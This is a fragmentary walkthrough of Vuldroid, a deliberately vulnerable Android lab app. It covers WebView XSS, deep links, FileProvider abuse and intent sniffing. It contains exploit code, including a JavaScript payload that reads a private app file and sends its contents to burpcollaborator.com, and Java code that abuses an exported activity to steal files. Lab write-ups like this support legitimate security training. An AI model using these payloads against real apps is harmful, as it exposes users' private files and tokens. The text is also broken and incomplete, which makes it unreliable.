[UPDATED]Vuldroid App Walkthrough

  • Steal Password ResetTokens/MagicLoginLinks
  • Webview Xss via Exported Activity
  • Webview Xss via DeepLink
  • Stealing Files via Webview
  • Stealing Files via Fileprovider
  • Intent Sniffing Between Two Applications
  • Reading User Email via Broadcasts
  • Command Execution via Malicious App
Manifest File
<intent-filter android:autoVerify="true">
Deeplink Xss
<!DOCTYPE html>
<h1>File Sent to Server</h1>
function sendmefiles(filepath, url){
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
var upload = new XMLHttpRequest();
upload.open("GET", url + "?" + this.responseText , false)
xhttp.open("GET", filepath, false);
window.onload=sendmefiles("file:///data/user/0/com.vuldroid.application/files/example.txt", "https://burpcollaborator.com")
Intent extra = new Intent();
extra.setClassName(getPackageName(), "com.notify.vuldroidexploit.FileStealDisplay");

Intent intent = new Intent();
intent.setClassName("com.vuldroid.application", "com.vuldroid.application.RoutingActivity");
intent.putExtra("router_component", extra);
TextView t1=findViewById(R.id.filestealv);
Uri uri = Uri.parse(getIntent().getDataString() + "root/data/data/com.vuldroid.application/files/example.txt");

try {
InputStream i = getContentResolver().openInputStream(uri);
InputStreamReader isReader = new InputStreamReader(i);
BufferedReader reader = new BufferedReader(isReader);
StringBuffer sb = new StringBuffer();
String str;
while((str = reader.readLine())!= null){

}catch (FileNotFoundException e) {
} catch (IOException e) {
Sender File
Reciever Ends
Broadcast receiver




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